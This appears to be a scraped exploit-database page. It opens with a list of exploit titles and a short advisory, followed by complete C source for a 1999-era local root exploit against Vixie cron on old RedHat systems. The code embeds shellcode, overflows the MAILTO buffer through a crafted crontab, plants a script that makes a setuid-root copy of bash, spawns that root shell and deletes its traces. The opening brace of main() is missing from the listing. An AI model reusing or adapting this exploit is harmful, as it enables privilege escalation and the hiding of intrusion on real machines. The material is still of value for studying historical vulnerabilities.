
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
83 lines
No EOL
3 KiB
C
83 lines
No EOL
3 KiB
C
// source: https://www.securityfocus.com/bid/602/info
|
|
|
|
The version of Vixie cron that ships with RedHat versions 4.2, 5.2 and 6.0 is vulnerable to a local buffer overflow attack. By utilizing the MAILTO environment variable, a buffer can be overflown in the cron_popen() function, allowing an attacker to execute arbitrary code. Vixie cron daemon is installed setuid root by default, allowing for a local root compromise. Recent versions of Debian GNU/Linux have been confirmed to not be vulnerable to this attack.
|
|
|
|
/*
|
|
* VixieCron 3.0 Proof of Concept Exploit - w00w00
|
|
*
|
|
* Not only does Paul give up root with this one, but with his creative use of
|
|
* strtok() he actually ends up putting the address of our shellcode in eip.
|
|
*
|
|
* Many Thanks: Cheez Wiz, Sangfroid
|
|
* Thanks: stran9er, Shok
|
|
* Props: attrition.org,mea_culpa,awr,minus,Int29,napster,el8.org,w00w00
|
|
* Drops: Vixie, happyhacker.org, antionline.com, <insert your favorite web \
|
|
* defacement group here>
|
|
*
|
|
* Hellos: pm,cy,bm,ceh,jm,pf,bh,wjg,spike.
|
|
*
|
|
* -jbowie@el8.org
|
|
*
|
|
*/
|
|
|
|
#include <stdio.h>
|
|
#include <sys/types.h>
|
|
#include <sys/stat.h>
|
|
#include <unistd.h>
|
|
#include <pwd.h>
|
|
|
|
char shellcode[] =
|
|
"\xeb\x40\x5e\x89\x76\x0c\x31\xc0\x89\x46\x0b\x89\xf3\xeb"
|
|
"\x27w00w00:Ifwewerehackerswedownyourdumbass\x8d\x4e"
|
|
"\x0c\x31\xd2\x89\x56\x16\xb0\x0b\xcd\x80\xe8\xbb\xff\xff"
|
|
"\xff/tmp/w00w00";
|
|
|
|
int
|
|
main(int argc,char *argv[])
|
|
|
|
FILE *cfile,*tmpfile;
|
|
struct stat sbuf;
|
|
struct passwd *pw;
|
|
int x;
|
|
|
|
pw = getpwuid(getuid());
|
|
|
|
chdir(pw->pw_dir);
|
|
cfile = fopen("./cronny","a+");
|
|
tmpfile = fopen("/tmp/w00w00","a+");
|
|
|
|
fprintf(cfile,"MAILTO=");
|
|
for(x=0;x<96;x++)
|
|
fprintf(cfile,"w00w00 ");
|
|
fprintf(cfile,"%s",shellcode);
|
|
fprintf(cfile,"\n* * * * * date\n");
|
|
fflush(cfile);
|
|
|
|
fprintf(tmpfile,"#!/bin/sh\ncp /bin/bash %s\nchmod 4755 %s/bash\n", pw->pw_dir,pw->pw_dir);
|
|
fflush(tmpfile);
|
|
|
|
fclose(cfile),fclose(tmpfile);
|
|
|
|
chmod("/tmp/w00w00",S_IXUSR|S_IXGRP|S_IXOTH);
|
|
|
|
if(!(fork())) {
|
|
execl("/usr/bin/crontab","crontab","./cronny",(char *)0);
|
|
} else {
|
|
printf("Waiting for shell be patient....\n");
|
|
for(;;) {
|
|
if(!(stat("./bash",&sbuf))) {
|
|
break;
|
|
} else { sleep(5); }
|
|
}
|
|
if((fork())) {
|
|
printf("Thank you for using w00warez!\n");
|
|
execl("./bash","bash",(char *)0);
|
|
} else {
|
|
remove("/tmp/w00w00");
|
|
sleep(5);
|
|
remove("./bash");
|
|
remove("./cronny");
|
|
execl("/usr/bin/crontab","crontab","-r",(char *)0);
|
|
}
|
|
}
|
|
} |